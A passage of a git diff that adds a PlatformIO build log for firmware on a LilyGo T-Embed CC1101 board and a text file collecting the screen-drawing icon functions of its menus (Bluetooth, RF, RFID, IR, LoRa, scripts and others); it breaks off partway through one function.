+|-- SmartRC-CC1101-Driver-Lib @ 2.5.7+sha.7bba521
+|-- mquickjs @ 0.0.6+sha.169b5ea
+|-- OneWire @ 2.3.8+sha.42e045e
+|-- ESP32-PSRamFS @ 1.0.6+sha.5ace2e6
+|-- AnimatedGIF @ 2.2.0
+|-- PNGdec @ 1.1.6
+|-- ESPAsyncWebServer @ 3.10.3
+|-- FastLED @ 3.10.3
+|-- RadioLib @ 7.6.0
+|-- XPowersLib @ 0.3.3
+|-- RotaryEncoder @ 1.5.3
+|-- utility
+|-- Wire @ 3.3.6
+|-- LittleFS @ 3.3.6
+|-- BruceHAL @ 7.3.1
+|-- WiFi @ 3.3.6
+|-- HTTPClient @ 3.3.6
+|-- Ethernet @ 3.3.6
+|-- Networking @ 3.3.6
+|-- SPI @ 3.3.6
+|-- FS @ 3.3.6
+|-- Bad_Usb_Lib
+|-- TFT_eSPI QRcode @ 1.0.0
+|-- Preferences @ 3.3.6
+|-- DNSServer @ 3.3.6
+|-- WebServer @ 3.3.6
+|-- RTC
+|-- AsyncTCP @ 3.4.10
+|-- ESPmDNS @ 3.3.6
+|-- PN532_SRIX
+|-- NetworkClientSecure @ 3.3.6
+|-- SPIFFS @ 3.3.6
+Building in release mode
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppStoreMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\AppsMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\BleMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ClockMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConfigMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ConnectMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\EthernetMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FMMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\FileMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\GpsMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\IRMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\LoRaMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\NRF24.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\OthersMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFIDMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\RFMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\ScriptsMenu.cpp.o' from cache
+Retrieved `.pio\build\lilygo-t-embed-cc1101\src\core\menu_items\WifiMenu.cpp.o' from cache
+Linking .pio\build\lilygo-t-embed-cc1101\firmware.elf
+Memory region         Used Size  Region Size  %age Used
+     iram0_0_seg:      116480 B     358144 B     32.52%
+     iram0_2_seg:     3200096 B    8388576 B     38.15%
+     dram0_0_seg:      222080 B     341760 B     64.98%
+     drom0_0_seg:     4381737 B   33554400 B     13.06%
+    rtc_iram_seg:          96 B       8152 B      1.18%
+rtc_reserved_seg:          40 B         40 B    100.00%
+    rtc_slow_seg:          36 B       7680 B      0.47%
+  extern_ram_seg:     4390880 B   33554400 B     13.09%
+Firmware metrics can not be shown. Set the terminal codepage to "utf-8" or "cp65001" on Windows.
+Retrieving maximum program size .pio\build\lilygo-t-embed-cc1101\firmware.elf
+Checking size .pio\build\lilygo-t-embed-cc1101\firmware.elf
+Advanced Memory Usage is available via "PlatformIO Home > Project Inspect"
+RAM:   [====      ]  37.2% (used 121980 bytes from 327680 bytes)
+Flash: [==========]  96.7% (used 4498495 bytes from 4653056 bytes)
+
diff --git a/icons.txt b/icons.txt
new file mode 100644
index 000000000..d61aefd51
--- /dev/null
+++ b/icons.txt
@@ -0,0 +1,866 @@
+========== AppsMenu.cpp ==========
+void AppsMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 60;
+    int iconH = scale * 60;
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+    int half = iconW / 2;
+
+    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
+    tft.drawLine(cx - half, cy - half + iconH / 4, cx + half, cy - half + iconH / 4, bruceConfig.priColor);
+
+    int gridW = iconW / 5;
+    int gridGap = iconW / 8;
+
+    int gridCenterY = cy + iconH / 8;
+    int gx1 = cx - gridW - gridGap / 2;
+    int gy1 = gridCenterY - gridW - gridGap / 2;
+    int gx2 = cx + gridGap / 2;
+    int gy2 = gridCenterY + gridGap / 2;
+
+    tft.fillRect(gx1, gy1, gridW, gridW, bruceConfig.priColor);
+    tft.drawRect(gx2, gy1, gridW, gridW, bruceConfig.priColor);
+    tft.drawRect(gx1, gy2, gridW, gridW, bruceConfig.priColor);
+    tft.fillRect(gx2, gy2, gridW, gridW, bruceConfig.priColor);
+}
+========== AppStoreMenu.cpp ==========
+void AppStoreMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 60;
+    int iconH = scale * 60;
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+    int half = iconW / 2;
+
+    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
+
+    int aw = iconW / 5;
+    int top = cy - half / 2;
+    int bot = cy + half / 6;
+    tft.fillRect(cx - aw / 2, top, aw, bot - top, bruceConfig.priColor);
+
+    int tw = half / 2 + 2;
+    tft.fillTriangle(cx - tw, bot, cx + tw, bot, cx, cy + half / 2, bruceConfig.priColor);
+
+    int ly = cy + half - half / 5;
+    tft.drawLine(cx - half / 2, ly, cx + half / 2, ly, bruceConfig.priColor);
+}
+========== BleMenu.cpp ==========
+void BleMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int lineWidth = scale * 5;
+    int iconW = scale * 36;
+    int iconH = scale * 60;
+    int radius = scale * 5;
+    int deltaRadius = scale * 10;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 4 != 0) iconH += 4 - (iconH % 4);
+
+    tft.drawWideLine(
+        iconCenterX,
+        iconCenterY + iconH / 4,
+        iconCenterX - iconW,
+        iconCenterY - iconH / 4,
+        lineWidth,
+        bruceConfig.priColor,
+        bruceConfig.priColor
+    );
+    tft.drawWideLine(
+        iconCenterX,
+        iconCenterY - iconH / 4,
+        iconCenterX - iconW,
+        iconCenterY + iconH / 4,
+        lineWidth,
+        bruceConfig.priColor,
+        bruceConfig.priColor
+    );
+    tft.drawWideLine(
+        iconCenterX,
+        iconCenterY + iconH / 4,
+        iconCenterX - iconW / 2,
+        iconCenterY + iconH / 2,
+        lineWidth,
+        bruceConfig.priColor,
+        bruceConfig.priColor
+    );
+    tft.drawWideLine(
+        iconCenterX,
+        iconCenterY - iconH / 4,
+        iconCenterX - iconW / 2,
+        iconCenterY - iconH / 2,
+        lineWidth,
+        bruceConfig.priColor,
+        bruceConfig.priColor
+    );
+
+    tft.drawWideLine(
+        iconCenterX - iconW / 2,
+        iconCenterY - iconH / 2,
+        iconCenterX - iconW / 2,
+        iconCenterY + iconH / 2,
+        lineWidth,
+        bruceConfig.priColor,
+        bruceConfig.priColor
+    );
+
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY,
+        2.5 * radius,
+        2 * radius,
+        210,
+        330,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY,
+        2.5 * radius + deltaRadius,
+        2 * radius + deltaRadius,
+        210,
+        330,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY,
+        2.5 * radius + 2 * deltaRadius,
+        2 * radius + 2 * deltaRadius,
+        210,
+        330,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
+========== ClockMenu.cpp ==========
+void ClockMenu::drawIcon(float scale) {
+    clearIconArea();
+    int radius = scale * 30;
+    int pointerSize = scale * 15;
+
+    // Case
+    tft.drawArc(
+        iconCenterX, iconCenterY, 1.1 * radius, radius, 0, 360, bruceConfig.priColor, bruceConfig.bgColor
+    );
+
+    // Pivot center
+    tft.fillCircle(iconCenterX, iconCenterY, radius / 10, bruceConfig.priColor);
+
+    // Hours & minutes
+    tft.drawLine(
+        iconCenterX,
+        iconCenterY,
+        iconCenterX - 2 * pointerSize / 3,
+        iconCenterY - 2 * pointerSize / 3,
+        bruceConfig.priColor
+    );
+    tft.drawLine(
+        iconCenterX, iconCenterY, iconCenterX + pointerSize, iconCenterY - pointerSize, bruceConfig.priColor
+    );
+}
+========== ConfigMenu.cpp ==========
+void ConfigMenu::drawIcon(float scale) {
+    clearIconArea();
+    int radius = scale * 9;
+
+    // Draw 6 gear teeth segments
+    for (int i = 0; i < 6; i++) {
+        tft.drawArc(
+            iconCenterX,
+            iconCenterY,
+            3.5 * radius,
+            2 * radius,
+            15 + 60 * i,
+            45 + 60 * i,
+            bruceConfig.priColor,
+            bruceConfig.bgColor,
+            true
+        );
+    }
+
+    // Draw inner circle
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY,
+        2.5 * radius,
+        radius,
+        0,
+        360,
+        bruceConfig.priColor,
+        bruceConfig.bgColor,
+        false
+    );
+}
+========== ConnectMenu.cpp ==========
+void ConnectMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 50;
+    int iconH = scale * 40;
+    int radius = scale * 7;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    tft.fillCircle(iconCenterX - iconW / 2, iconCenterY, radius, bruceConfig.priColor);
+
+    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY - iconH / 2, radius, bruceConfig.priColor);
+    tft.fillCircle(iconCenterX + 0.5 * iconW, iconCenterY, radius, bruceConfig.priColor);
+    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY + iconH / 2, radius, bruceConfig.priColor);
+
+    tft.drawLine(
+        iconCenterX - iconW / 2,
+        iconCenterY,
+        iconCenterX + 0.3 * iconW,
+        iconCenterY - iconH / 2,
+        bruceConfig.priColor
+    );
+    tft.drawLine(
+        iconCenterX - iconW / 2, iconCenterY, iconCenterX + 0.5 * iconW, iconCenterY, bruceConfig.priColor
+    );
+    tft.drawLine(
+        iconCenterX - iconW / 2,
+        iconCenterY,
+        iconCenterX + 0.3 * iconW,
+        iconCenterY + iconH / 2,
+        bruceConfig.priColor
+    );
+}
+========== EthernetMenu.cpp ==========
+void EthernetMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 50;
+    int iconH = scale * 50;
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+
+    int halfW = iconW / 2;
+    int halfH = iconH / 2;
+
+    int r = scale * 4;
+
+    // Outer thick connector frame
+    int outX = cx - halfW;
+    int outY = cy - halfH;
+
+    // Draw main frame
+    tft.drawRoundRect(outX, outY, iconW, iconH, r, bruceConfig.priColor);
+    tft.drawRoundRect(outX + 1, outY + 1, iconW - 2, iconH - 2, r - 1, bruceConfig.priColor);
+
+    // Draw the notch (the clip hole of RJ45) at the bottom
+    int notchW = iconW / 2.2;
+    int notchH = iconH / 3.5;
+    int notchX = cx - notchW / 2;
+    int notchY = outY + iconH - notchH;
+
+    tft.fillRect(notchX, notchY - 1, notchW, notchH + 2, bruceConfig.bgColor);
+
+    // Draw the indentation lines for the notch
+    tft.drawLine(notchX, notchY, notchX, notchY + notchH, bruceConfig.priColor);
+    tft.drawLine(notchX + notchW, notchY, notchX + notchW, notchY + notchH, bruceConfig.priColor);
+    tft.drawLine(notchX, notchY, cx - halfW, notchY, bruceConfig.priColor);
+    tft.drawLine(notchX + notchW, notchY, cx + halfW, notchY, bruceConfig.priColor);
+
+    // Draw pins at the top
+    int pinW = scale * 2;
+    if (pinW < 1) pinW = 1;
+    int pinH = iconH / 3;
+    int pinY = outY + 3;
+    int numPins = 6;
+    int space = (iconW - 14 * scale) / numPins;
+
+    int startX = cx - (space * (numPins - 1)) / 2;
+    for (int i = 0; i < numPins; i++) {
+        tft.fillRect(startX + i * space - pinW / 2, pinY, pinW, pinH, bruceConfig.priColor);
+    }
+}
+========== FileMenu.cpp ==========
+void FileMenu::drawIcon(float scale) {
+    clearIconArea();
+    int iconW = scale * 32;
+    int iconH = scale * 48;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int foldSize = iconH / 4;
+    int iconX = iconCenterX - iconW / 2;
+    int iconY = iconCenterY - iconH / 2;
+    int iconDelta = 10;
+
+    // Files
+    tft.drawRect(iconX + iconDelta, iconY - iconDelta, iconW, iconH, bruceConfig.priColor);
+
+    tft.fillRect(iconX, iconY, iconW, iconH, bruceConfig.bgColor);
+    tft.drawRect(iconX, iconY, iconW, iconH, bruceConfig.priColor);
+
+    tft.fillRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.bgColor);
+    tft.drawRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.priColor);
+
+    // Erase corners
+    tft.fillRect(
+        iconX + iconDelta + iconW - foldSize, iconY - iconDelta - 1, foldSize, 2, bruceConfig.bgColor
+    );
+    tft.fillRect(iconX + iconDelta + iconW - 1, iconY - iconDelta, 2, foldSize, bruceConfig.bgColor);
+
+    tft.fillRect(iconX + iconW - foldSize, iconY - 1, foldSize, 2, bruceConfig.bgColor);
+    tft.fillRect(iconX + iconW - 1, iconY, 2, foldSize, bruceConfig.bgColor);
+
+    tft.fillRect(
+        iconX - iconDelta + iconW - foldSize, iconY + iconDelta - 1, foldSize, 2, bruceConfig.bgColor
+    );
+    tft.fillRect(iconX - iconDelta + iconW - 1, iconY + iconDelta, 2, foldSize, bruceConfig.bgColor);
+
+    // Folds
+    tft.drawTriangle(
+        iconX + iconDelta + iconW - foldSize,
+        iconY - iconDelta,
+        iconX + iconDelta + iconW - foldSize,
+        iconY - iconDelta + foldSize - 1,
+        iconX + iconDelta + iconW - 1,
+        iconY - iconDelta + foldSize - 1,
+        bruceConfig.priColor
+    );
+    tft.drawTriangle(
+        iconX + iconW - foldSize,
+        iconY,
+        iconX + iconW - foldSize,
+        iconY + foldSize - 1,
+        iconX + iconW - 1,
+        iconY + foldSize - 1,
+        bruceConfig.priColor
+    );
+    tft.drawTriangle(
+        iconX - iconDelta + iconW - foldSize,
+        iconY + iconDelta,
+        iconX - iconDelta + iconW - foldSize,
+        iconY + iconDelta + foldSize - 1,
+        iconX - iconDelta + iconW - 1,
+        iconY + iconDelta + foldSize - 1,
+        bruceConfig.priColor
+    );
+}
+========== FMMenu.cpp ==========
+void FMMenu::drawIcon(float scale) {
+    clearIconArea();
+    int iconW = scale * 80;
+    int iconH = scale * 60;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int caseH = 5 * iconH / 6;
+    int caseX = iconCenterX - iconW / 2;
+    int caseY = iconCenterY - iconH / 3;
+
+    int btnY = (2 * caseY + caseH + iconH / 10 + iconH / 3) / 2;
+    int potX = (2 * caseX + iconW + iconW / 10 + iconW / 2) / 2;
+    int potY = caseY + caseH / 3 + iconH / 10;
+
+    // Case
+    tft.drawRoundRect(caseX, caseY, iconW, caseH, iconW / 10, bruceConfig.priColor);
+
+    // Potentiometer
+    tft.fillCircle(potX, potY, iconH / 7, bruceConfig.priColor);
+
+    // Screen
+    tft.drawRect(caseX + iconW / 10, caseY + iconH / 10, iconW / 2, iconH / 3, bruceConfig.priColor);
+
+    // Antenna
+    tft.drawLine(
+        caseX + iconW / 10, caseY, caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, bruceConfig.priColor
+    );
+    tft.fillCircle(caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, iconH / 30, bruceConfig.priColor);
+
+    // Buttons
+    tft.fillCircle(caseX + iconW / 10 + iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
+    tft.fillCircle(caseX + iconW / 10 + iconW / 2 - iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
+}
+========== GpsMenu.cpp ==========
+void GpsMenu::drawIcon(float scale) {
+    clearIconArea();
+    int radius = scale * 18;
+    if (radius % 2 != 0) radius++;
+
+    int tangentX = sqrt(radius * radius - (radius / 2 * radius / 2));
+    int32_t tangentY = radius / 2;
+
+    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius, bruceConfig.priColor);
+    tft.fillTriangle(
+        iconCenterX - tangentX,
+        iconCenterY - radius / 2 + tangentY,
+        iconCenterX + tangentX,
+        iconCenterY - radius / 2 + tangentY,
+        iconCenterX,
+        iconCenterY + 1.5 * radius,
+        bruceConfig.priColor
+    );
+    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius / 2, bruceConfig.bgColor);
+
+    tft.drawEllipse(iconCenterX, iconCenterY + 1.5 * radius, 1.5 * radius, radius / 2, bruceConfig.priColor);
+}
+========== IRMenu.cpp ==========
+void IRMenu::drawIcon(float scale) {
+    clearIconArea();
+    int iconSize = scale * 60;
+    int radius = scale * 7;
+    int deltaRadius = scale * 10;
+
+    if (iconSize % 2 != 0) iconSize++;
+
+    tft.fillRect(
+        iconCenterX - iconSize / 2, iconCenterY - iconSize / 2, iconSize / 6, iconSize, bruceConfig.priColor
+    );
+    tft.fillRect(
+        iconCenterX - iconSize / 3,
+        iconCenterY - iconSize / 3,
+        iconSize / 6,
+        2 * iconSize / 3,
+        bruceConfig.priColor
+    );
+
+    tft.drawCircle(iconCenterX - iconSize / 6, iconCenterY, radius, bruceConfig.priColor);
+
+    tft.drawArc(
+        iconCenterX - iconSize / 6,
+        iconCenterY,
+        2.5 * radius,
+        2 * radius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX - iconSize / 6,
+        iconCenterY,
+        2.5 * radius + deltaRadius,
+        2 * radius + deltaRadius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX - iconSize / 6,
+        iconCenterY,
+        2.5 * radius + 2 * deltaRadius,
+        2 * radius + 2 * deltaRadius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
+========== LoRaMenu.cpp ==========
+void LoRaMenu::drawIcon(float scale) {
+    clearIconArea();
+    scale *= 0.75;
+    int cx = iconCenterX;
+    int cy = iconCenterY + (scale * 8);
+
+#define CALC_X(val) (cx + ((val - 50) * scale))
+#define CALC_Y(val) (cy + ((val - 50) * scale))
+
+    int lineWidth = scale * 4.5;
+    if (lineWidth < 2) lineWidth = 2;
+    int ballRad = scale * 6;
+
+    // --- LEGS UPDATED (Y changed from 95 to 85) ---
+
+    // Left Leg
+    tft.drawWideLine(
+        CALC_X(44), CALC_Y(35), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+    // Right Leg
+    tft.drawWideLine(
+        CALC_X(56), CALC_Y(35), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+
+    // --- CROSS BARS (Unchanged) ---
+
+    // Top Cross Bar
+    tft.drawWideLine(
+        CALC_X(44), CALC_Y(35), CALC_X(56), CALC_Y(35), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+
+    // Middle Cross Bar
+    tft.drawWideLine(
+        CALC_X(35), CALC_Y(65), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+
+    // --- X-BRACING TOP (Unchanged) ---
+
+    // X-Bracing (Top Section)
+    tft.drawWideLine(
+        CALC_X(44), CALC_Y(35), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+    tft.drawWideLine(
+        CALC_X(56), CALC_Y(35), CALC_X(35), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+
+    // --- X-BRACING BOTTOM UPDATED (Y changed from 95 to 85) ---
+
+    // X-Bracing (Bottom Section)
+    tft.drawWideLine(
+        CALC_X(35), CALC_Y(65), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+    tft.drawWideLine(
+        CALC_X(65), CALC_Y(65), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
+    );
+
+    // --- REST IS UNCHANGED ---
+
+    // ball
+    int ballY = CALC_Y(25);
+    tft.fillCircle(cx, ballY, ballRad, bruceConfig.priColor);
+
+    // waves
+    int r1 = scale * 20;
+    int r2 = scale * 32;
+
+    // Right Side (90 degrees +/-)
+    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
+
+    // Left Side (270 degrees +/-)
+    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
+}
+========== NRF24.cpp ==========
+void NRF24Menu::drawIcon(float scale) {
+    clearIconArea();
+    int iconW = scale * 80;
+    int iconH = scale * 60;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int caseW = 3 * iconW / 4;
+    int caseH = 2 * iconH / 3;
+    int caseX = iconCenterX - iconW / 2;
+    int caseY = iconCenterY - iconH / 6;
+
+    int antW = iconW / 8;
+    int connR = iconH / 20;
+
+    // Case
+    tft.drawRect(caseX, caseY, caseW, caseH, bruceConfig.priColor);
+
+    // Antenna
+    tft.fillRect(caseX + caseW, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor);
+    tft.fillRoundRect(
+        caseX + caseW + antW,
+        caseY + caseH - iconH,
+        antW,
+        iconH - caseH / 2 + antW / 2,
+        antW / 2,
+        bruceConfig.priColor
+    );
+
+    // Connectors
+    tft.fillCircle(caseX + caseW / 6, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 6, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 6, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 6, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
+
+    tft.fillCircle(caseX + caseW / 3, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 3, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 3, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
+    tft.fillCircle(caseX + caseW / 3, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
+
+    // Chip
+    tft.fillRect(
+        caseX + caseW - 2 * antW - connR, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor
+    );
+}
+========== OthersMenu.cpp ==========
+void OthersMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    // Dynamic radius calculation based on scale for responsive rendering
+    int radius = scale * 7;
+
+    // Center circle
+    tft.fillCircle(iconCenterX, iconCenterY, radius, bruceConfig.priColor);
+
+    // Concentric arcs - dynamically scaled for different screen sizes
+    tft.drawArc(
+        iconCenterX, iconCenterY, 2.5 * radius, 2 * radius, 0, 340, bruceConfig.priColor, bruceConfig.bgColor
+    );
+
+    tft.drawArc(
+        iconCenterX, iconCenterY, 3.5 * radius, 3 * radius, 20, 360, bruceConfig.priColor, bruceConfig.bgColor
+    );
+
+    tft.drawArc(
+        iconCenterX, iconCenterY, 4.5 * radius, 4 * radius, 0, 200, bruceConfig.priColor, bruceConfig.bgColor
+    );
+
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY,
+        4.5 * radius,
+        4 * radius,
+        240,
+        360,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
+========== RFIDMenu.cpp ==========
+void RFIDMenu::drawIcon(float scale) {
+    clearIconArea();
+    int iconSize = scale * 70;
+    int iconRadius = scale * 7;
+    int deltaRadius = scale * 10;
+
+    if (iconSize % 2 != 0) iconSize++;
+
+    tft.drawRoundRect(
+        iconCenterX - iconSize / 2,
+        iconCenterY - iconSize / 2,
+        iconSize,
+        iconSize,
+        iconRadius,
+        bruceConfig.priColor
+    );
+    tft.fillRect(iconCenterX - iconSize / 2, iconCenterY, iconSize / 2, iconSize / 2, bruceConfig.bgColor);
+
+    tft.drawCircle(
+        iconCenterX - iconSize / 2 + deltaRadius,
+        iconCenterY + iconSize / 2 - deltaRadius,
+        iconRadius,
+        bruceConfig.priColor
+    );
+
+    tft.drawArc(
+        iconCenterX - iconSize / 2 + deltaRadius,
+        iconCenterY + iconSize / 2 - deltaRadius,
+        2.5 * iconRadius,
+        2 * iconRadius,
+        180,
+        270,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX - iconSize / 2 + deltaRadius,
+        iconCenterY + iconSize / 2 - deltaRadius,
+        2.5 * iconRadius + deltaRadius,
+        2 * iconRadius + deltaRadius,
+        180,
+        270,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX - iconSize / 2 + deltaRadius,
+        iconCenterY + iconSize / 2 - deltaRadius,
+        2.5 * iconRadius + 2 * deltaRadius,
+        2 * iconRadius + 2 * deltaRadius,
+        180,
+        270,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
+========== RFMenu.cpp ==========
+void RFMenu::drawIcon(float scale) {
+    clearIconArea();
+    int radius = scale * 7;
+    int deltaRadius = scale * 10;
+    int triangleSize = scale * 30;
+
+    if (triangleSize % 2 != 0) triangleSize++;
+
+    // Body
+    tft.fillCircle(iconCenterX, iconCenterY - radius, radius, bruceConfig.priColor);
+    tft.fillTriangle(
+        iconCenterX,
+        iconCenterY,
+        iconCenterX - triangleSize / 2,
+        iconCenterY + triangleSize,
+        iconCenterX + triangleSize / 2,
+        iconCenterY + triangleSize,
+        bruceConfig.priColor
+    );
+
+    // Left Arcs
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius,
+        2 * radius,
+        40,
+        140,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius + deltaRadius,
+        2 * radius + deltaRadius,
+        40,
+        140,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius + 2 * deltaRadius,
+        2 * radius + 2 * deltaRadius,
+        40,
+        140,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+
+    // Right Arcs
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius,
+        2 * radius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius + deltaRadius,
+        2 * radius + deltaRadius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY - radius,
+        2.5 * radius + 2 * deltaRadius,
+        2 * radius + 2 * deltaRadius,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
+========== ScriptsMenu.cpp ==========
+void ScriptsMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 40;
+    int iconH = scale * 60;
+
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int foldSize = iconH / 4;
+    int arrowSize = iconW / 10;
+    int arrowPadX = 2 * arrowSize;
+    int arrowPadBottom = 3 * arrowPadX;
+    int slashSize = 2 * arrowSize;
+
+    // File
+    tft.drawRect(iconCenterX - iconW / 2, iconCenterY - iconH / 2, iconW, iconH, bruceConfig.priColor);
+    tft.fillRect(
+        iconCenterX + iconW / 2 - foldSize, iconCenterY - iconH / 2, foldSize, foldSize, bruceConfig.bgColor
+    );
+    tft.drawTriangle(
+        (iconCenterX + iconW / 2 - foldSize),
+        (iconCenterY - iconH / 2),
+        (iconCenterX + iconW / 2 - foldSize),
+        (iconCenterY - iconH / 2 + foldSize - 1),
+        (iconCenterX + iconW / 2 - 1),
+        (iconCenterY - iconH / 2 + foldSize - 1),
+        bruceConfig.priColor
+    );
+
+    // Left Arrow
+    tft.drawLine(
+        iconCenterX - iconW / 2 + arrowPadX,
+        iconCenterY + iconH / 2 - arrowPadBottom,
+        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
+        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
+        bruceConfig.priColor
+    );
+    tft.drawLine(
+        iconCenterX - iconW / 2 + arrowPadX,
+        iconCenterY + iconH / 2 - arrowPadBottom,
+        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
